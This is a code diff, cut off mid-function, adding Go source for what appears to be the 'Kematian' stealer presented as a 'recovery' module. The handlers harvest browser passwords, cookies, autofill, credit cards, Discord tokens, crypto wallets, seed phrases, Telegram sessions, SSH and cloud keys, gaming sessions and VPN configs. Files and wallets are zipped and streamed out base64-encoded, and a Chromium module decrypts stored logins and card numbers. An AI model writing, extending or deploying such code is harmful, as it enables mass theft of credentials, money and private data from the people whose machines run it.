extWg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] extension scan panic: %v", r) + } + }() + extensions = recovery.ScanExtensions() + }() + } + + partialFn := func(partial *recovery.CollectionResult) { + sendEvent("partial", partial) + } + + ctx, cancel := context.WithTimeout(context.Background(), collectDeadline) + defer cancel() + + result, err := recovery.Collect(ctx, opts, partialFn) + if err != nil { + log.Printf("[recovery] collection failed: %v", err) + sendEvent("error", map[string]string{"error": err.Error()}) + return + } + + if opts.Browsers { + extWg.Wait() + result.Extensions = extensions + } + + log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds", + len(result.Passwords), len(result.Cookies), len(result.Autofill), + len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials)) + + sendEvent("results", result) + + if len(result.Wallets) > 0 { + go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] wallet auto-download panic: %v", r) + } + }() + autoDownloadWallets(result.Wallets) + }() + } + + go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] seed scan panic: %v", r) + } + }() + seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) + if len(seeds) > 0 { + log.Printf("[recovery] seed scan found %d seed phrases", len(seeds)) + sendEvent("seed_scan_results", map[string]interface{}{ + "seeds": seeds, + }) + } + }() +} + +func handleScanExtensions() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] extension scan panic: %v", r) + sendEvent("error", map[string]string{"error": "extension scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning extensions..."}) + exts := recovery.ScanExtensions() + log.Printf("[recovery] extension scan complete: %d extensions", len(exts)) + sendEvent("extension_scan_results", map[string]interface{}{ + "extensions": exts, + }) +} + +func handleFetchExtZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_ext_zip panic: %v", r) + sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + ExtID string `json:"extId"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipDirectory(req.Path) + if err != nil { + log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err) + sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data)) + sendEvent("fetch_ext_zip_result", map[string]interface{}{ + "path": req.Path, + "extId": req.ExtID, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB + +func handleScanWallets() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] wallet scan panic: %v", r) + sendEvent("error", map[string]string{"error": "wallet scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning wallets..."}) + wallets := recovery.ScanWallets() + log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets)) + sendEvent("wallet_scan_results", map[string]interface{}{ + "wallets": wallets, + }) + autoDownloadWallets(wallets) +} + +func autoDownloadWallets(wallets []recovery.WalletResult) { + for _, w := range wallets { + if w.Size > maxAutoDownloadSize { + log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) + continue + } + data, err := recovery.ZipDirectory(w.Path) + if err != nil { + log.Printf("[recovery] auto-download zip %q: %v", w.Name, err) + continue + } + log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data)) + sendEvent("wallet_auto_data", map[string]interface{}{ + "name": w.Name, + "type": w.Type, + "path": w.Path, + "addresses": w.Addresses, + "vaultData": w.VaultData, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleFetchWalletZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_wallet_zip panic: %v", r) + sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + Name string `json:"name"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipDirectory(req.Path) + if err != nil { + log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err) + sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data)) + sendEvent("fetch_wallet_zip_result", map[string]interface{}{ + "path": req.Path, + "name": req.Name, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanFiles() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] file scan panic: %v", r) + sendEvent("error", map[string]string{"error": "file scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning files..."}) + files := recovery.ScanFiles() + log.Printf("[recovery] file scan complete: %d files", len(files)) + sendEvent("file_scan_results", map[string]interface{}{ + "files": files, + "truncated": len(files) >= 500, + }) +} + +func handleFetchFile(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_file panic: %v", r) + sendEvent("fetch_file_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_file_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.FetchFile(req.Path) + if err != nil { + log.Printf("[recovery] fetch_file %q: %v", req.Path, err) + sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data)) + sendEvent("fetch_file_result", map[string]interface{}{ + "path": req.Path, + "name": filepath.Base(req.Path), + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanTelegram() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] telegram scan panic: %v", r) + sendEvent("error", map[string]string{"error": "telegram scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."}) + sessions := recovery.ScanTelegram() + log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions)) + sendEvent("telegram_scan_results", map[string]interface{}{ + "sessions": sessions, + }) + for _, s := range sessions { + if s.Size > maxAutoDownloadSize { + log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size) + continue + } + data, err := recovery.ZipTelegram(s.Path) + if err != nil { + log.Printf("[recovery] telegram zip %q: %v", s.Account, err) + continue + } + log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data)) + sendEvent("telegram_data", map[string]interface{}{ + "account": s.Account, + "path": s.Path, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleFetchTelegramZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_telegram_zip panic: %v", r) + sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + Account string `json:"account"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipTelegram(req.Path) + if err != nil { + log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err) + sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data)) + sendEvent("telegram_data", map[string]interface{}{ + "account": req.Account, + "path": req.Path, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanKeys() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] key scan panic: %v", r) + sendEvent("error", map[string]string{"error": "key scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."}) + keys := recovery.ScanKeys() + log.Printf("[recovery] key scan complete: %d keys", len(keys)) + sendEvent("key_scan_results", map[string]interface{}{ + "keys": keys, + }) +} + +func handleScanApps() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] app scan panic: %v", r) + sendEvent("error", map[string]string{"error": "app credential scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning app credentials..."}) + apps := recovery.ScanApps() + log.Printf("[recovery] app scan complete: %d credentials", len(apps)) + sendEvent("app_scan_results", map[string]interface{}{ + "appCredentials": apps, + }) +} + +func handleScanGaming() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] gaming scan panic: %v", r) + sendEvent("error", map[string]string{"error": "gaming scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."}) + gaming := recovery.ScanGaming() + sendEvent("gaming_scan_results", map[string]interface{}{ + "gaming": gaming, + }) + if gaming == nil { + return + } + autoDownloadGaming(gaming) +} + +func autoDownloadGaming(gaming *recovery.GamingResult) { + type zipJob struct { + name string + fn func() ([]byte, error) + } + var jobs []zipJob + + if gaming.Steam != nil && gaming.Steam.SteamPath != "" { + steamPath := gaming.Steam.SteamPath + jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }}) + } + if len(gaming.BattleNet) > 0 { + jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet}) + } + if len(gaming.Epic) > 0 { + jobs = append(jobs, zipJob{"epic", recovery.ZipEpic}) + } + if len(gaming.Riot) > 0 { + jobs = append(jobs, zipJob{"riot", recovery.ZipRiot}) + } + if len(gaming.Uplay) > 0 { + jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay}) + } + + for _, j := range jobs { + data, err := j.fn() + if err != nil || len(data) == 0 { + log.Printf("[recovery] gaming zip %s: %v", j.name, err) + continue + } + if len(data) > maxAutoDownloadSize { + log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data)) + continue + } + log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data)) + sendEvent("gaming_data", map[string]interface{}{ + "platform": j.name, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleScanVPN() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] vpn scan panic: %v", r) + sendEvent("error", map[string]string{"error": "vpn scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."}) + vpns := recovery.ScanVPNs() + sendEvent("vpn_scan_results", map[string]interface{}{ + "vpns": vpns, + }) +} + +func handleUnload() { + log.Printf("[recovery] unloading") +} + +func handleFingerprint() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fingerprint panic: %v", r) + sendEvent("error", map[string]string{"error": "fingerprint error"}) + } + }() + sendEvent("fingerprint_result", recovery.CollectFingerprint()) + log.Printf("[recovery] fingerprint collected") +} + +func handleFingerprintJS() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fingerprint_js panic: %v", r) + sendEvent("error", map[string]string{"error": "fingerprint_js error"}) + } + }() + result := recovery.CollectJSFingerprint() + if result == nil { + sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"}) + return + } + sendEvent("fingerprint_js_result", result) + log.Printf("[recovery] JS fingerprint collected") +} + +func main() {} diff --git a/Kematian-Standalone/native/recovery/browser/browser_darwin.go b/Kematian-Standalone/native/recovery/browser/browser_darwin.go new file mode 100644 index 0000000..5ae1788 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/browser_darwin.go @@ -0,0 +1,111 @@ +//go:build darwin + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // Chromium family + {Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"}, + {Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"}, + {Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"}, + {Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"}, + {Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"}, + {Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"}, + {Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"}, + {Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true}, + {Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true}, + {Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"}, + {Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"}, + // Firefox family + {Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true}, + {Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true}, +} + +func GetLocalAppData() string { + home, _ := os.UserHomeDir() + return filepath.Join(home, "Library", "Application Support") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + return filepath.Join(GetLocalAppData(), cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := filepath.Join(root, "Profiles") + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/Kematian-Standalone/native/recovery/browser/browser_linux.go b/Kematian-Standalone/native/recovery/browser/browser_linux.go new file mode 100644 index 0000000..b4e7ad1 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/browser_linux.go @@ -0,0 +1,112 @@ +//go:build linux + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // Chromium family + {Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"}, + {Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"}, + {Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"}, + {Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"}, + {Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"}, + {Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"}, + {Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"}, + {Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true}, + // Firefox family + {Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true}, + {Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true}, +} + +func GetLocalAppData() string { + home, _ := os.UserHomeDir() + return filepath.Join(home, ".config") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + if cfg.IsFirefox { + home, _ := os.UserHomeDir() + return filepath.Join(home, cfg.UserDataPath) + } + return filepath.Join(GetLocalAppData(), cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := root + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/Kematian-Standalone/native/recovery/browser/browser_windows.go b/Kematian-Standalone/native/recovery/browser/browser_windows.go new file mode 100644 index 0000000..d4fc4f8 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/browser_windows.go @@ -0,0 +1,113 @@ +//go:build windows + +package browser + +import ( + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +var Browsers = []types.BrowserConfig{ + // ── Chromium family (LOCALAPPDATA) ──────────────────────────────────────── + {Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"}, + {Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"}, + {Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"}, + {Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"}, + {Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"}, + {Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"}, + // ── Opera (APPDATA, flat profile) ──────────────────────────────────────── + // ts doesn't work will fix in the future + {Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true}, + {Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true}, + // ── Firefox family (APPDATA, Firefox profile layout) ───────────────────── + {Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true}, + {Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true}, + {Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true}, +} + +func GetLocalAppData() string { + return os.Getenv("LOCALAPPDATA") +} + +func GetUserDataRoot(cfg types.BrowserConfig) string { + base := os.Getenv("LOCALAPPDATA") + if cfg.UseAppData { + base = os.Getenv("APPDATA") + } + return filepath.Join(base, cfg.UserDataPath) +} + +func LocalStatePath(cfg types.BrowserConfig) string { + return filepath.Join(GetUserDataRoot(cfg), "Local State") +} + +func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo { + root := GetUserDataRoot(cfg) + + if cfg.FlatProfile { + if _, err := os.Stat(root); err == nil { + return []types.ProfileInfo{{Name: "Default", Path: root}} + } + return nil + } + + if cfg.IsFirefox { + return findFirefoxProfiles(root) + } + + return findChromiumProfiles(root) +} + +func findChromiumProfiles(root string) []types.ProfileInfo { + entries, err := os.ReadDir(root) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + prefPath := filepath.Join(root, e.Name(), "Preferences") + if _, err := os.Stat(prefPath); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(root, e.Name()), + }) + } + } + return profiles +} + +func findFirefoxProfiles(root string) []types.ProfileInfo { + profilesDir := filepath.Join(root, "Profiles") + entries, err := os.ReadDir(profilesDir) + if err != nil { + return nil + } + var profiles []types.ProfileInfo + for _, e := range entries { + if !e.IsDir() { + continue + } + if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil { + profiles = append(profiles, types.ProfileInfo{ + Name: e.Name(), + Path: filepath.Join(profilesDir, e.Name()), + }) + } + } + return profiles +} + +func IsFirefoxProfileName(name string) bool { + parts := strings.SplitN(name, ".", 2) + if len(parts) != 2 { + return false + } + suffix := strings.ToLower(parts[1]) + return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release") +} diff --git a/Kematian-Standalone/native/recovery/browser/log.go b/Kematian-Standalone/native/recovery/browser/log.go new file mode 100644 index 0000000..d853c18 --- /dev/null +++ b/Kematian-Standalone/native/recovery/browser/log.go @@ -0,0 +1,7 @@ +package browser + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[browser] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/chromium/chromium.go b/Kematian-Standalone/native/recovery/chromium/chromium.go new file mode 100644 index 0000000..465647a --- /dev/null +++ b/Kematian-Standalone/native/recovery/chromium/chromium.go @@ -0,0 +1,316 @@ +package chromium + +import ( + "database/sql" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/crypto" + "recovery/recovery/db" + "recovery/recovery/types" +) + +const HistoryLimit = 5000 + +func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult { + var results []types.PasswordResult + + for _, dbFile := range []string{"Login Data", "Login Data For Account"} { + dbPath := filepath.Join(profile.Path, dbFile) + if _, err := os.Stat(dbPath); err != nil { + continue + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + continue + } + + rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins") + if err != nil { + d.Close() + continue + } + for rows.Next() { + var url, username sql.NullString + var passwordBlob []byte + rows.Scan(&url, &username, &passwordBlob) + password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20) + if dbFile == "Login Data For Account" && password == "" { + continue + } + if url.String != "" && (username.String != "" || password != "") { + results = append(results, types.PasswordResult{ + URL: url.String, + Username: username.String, + Password: password, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + d.Close() + } + + return results +} + +func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult { + dbPath := filepath.Join(profile.Path, "Network", "Cookies") + if _, err := os.Stat(dbPath); err != nil { + dbPath = filepath.Join(profile.Path, "Cookies") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + } + + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err) + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies") + if err != nil { + logf("cookie query failed for %s: %v", cfg.Name, err) + return nil + } + defer rows.Close() + + var results []types.CookieResult + count := 0 + for rows.Next() { + count++ + var host, name, path, plainValue sql.NullString + var secure, httpOnly sql.NullBool + var expiresUTC sql.NullInt64 + var encryptedValue []byte + + rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue) + value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20) + if value == "" { + value = plainValue.String + } + results = append(results, types.CookieResult{ + Host: host.String, + Name: name.String, + Value: value, + Path: path.String, + Secure: secure.Bool, + HTTPOnly: httpOnly.Bool, + ExpiresUTC: expiresUTC.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + logf("cookie row count for %s: %d", cfg.Name, count) + return results +} + +func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { + dbPath := filepath.Join(profile.Path, "Web Data") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + queries := []string{ + "SELECT name, value, date_created, count FROM autofill", + "SELECT name, value, count FROM autofill", + "SELECT name, value FROM autofill", + } + + var results []types.AutofillResult + for _, q := range queries { + rows, err := d.Query(q) + if err != nil { + continue + } + for rows.Next() { + var name, value sql.NullString + var dateCreated, count sql.NullInt64 + switch len(strings.Split(q, ",")) { + case 4: + rows.Scan(&name, &value, &dateCreated, &count) + case 3: + rows.Scan(&name, &value, &count) + default: + rows.Scan(&name, &value) + } + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + DateCreated: dateCreated.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + if len(results) > 0 { + break + } + } + return results +} + +func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult { + dbPath := filepath.Join(profile.Path, "History") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + queries := []string{ + fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), + fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit), + } + + var results []types.HistoryResult + for _, q := range queries { + rows, err := d.Query(q) + if err != nil { + continue + } + for rows.Next() { + var url, title sql.NullString + var visitTime sql.NullInt64 + var transition, duration sql.NullInt64 + + if strings.Contains(q, "visit_duration") { + rows.Scan(&url, &title, &visitTime, &transition, &duration) + } else { + rows.Scan(&url, &title, &visitTime, &transition) + } + + var visitTimeUnix int64 + if visitTime.Int64 > 0 { + visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000 + } + if url.String != "" { + results = append(results, types.HistoryResult{ + URL: url.String, + Title: title.String, + VisitTimeUnix: visitTimeUnix, + VisitCount: duration.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + rows.Close() + if len(results) > 0 { + break + } + } + return results +} + +func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { + bookmarkPath := filepath.Join(profile.Path, "Bookmarks") + data, err := os.ReadFile(bookmarkPath) + if err != nil { + return nil + } + + var bookmarkData map[string]interface{} + if err := json.Unmarshal(data, &bookmarkData); err != nil { + return nil + } + + var results []types.BookmarkResult + if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok { + walkBookmarkNode(roots, cfg.Name, profile.Name, &results) + } + return results +} + +func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { + for _, key := range []string{"bookmark_bar", "other", "synced"} { + if child, ok := node[key].(map[string]interface{}); ok { + walkBookmarkChildren(child, browser, profileName, results) + } + } +} + +func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) { + children, ok := node["children"].([]interface{}) + if !ok { + return + } + for _, c := range children { + child, ok := c.(map[string]interface{}) + if !ok { + continue + } + switch child["type"] { + case "url": + name, _ := child["name"].(string) + url, _ := child["url"].(string) + if url != "" { + *results = append(*results, types.BookmarkResult{ + Name: name, + URL: url, + Type: "url", + Browser: browser, + Profile: profileName, + }) + } + case "folder": + walkBookmarkChildren(child, browser, profileName, results) + } + } +} + +func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult { + dbPath := filepath.Join(profile.Path, "Web Data") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards") + if err != nil { + return nil + } + defer rows.Close() + + var results []types.CreditCardResult + for rows.Next() { + var name, nickname sql.NullString + var expMonth, expYear sql.NullInt64 + var encrypted []byte + rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname) + + cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20) + if name.String != "" || cardNumber != "" { + results = append(results, types.CreditCardResult{ + NameOnCard: name.String, + ExpirationMonth: int(expMonth.Int64), + ExpirationYear: int(expYear.Int64), + 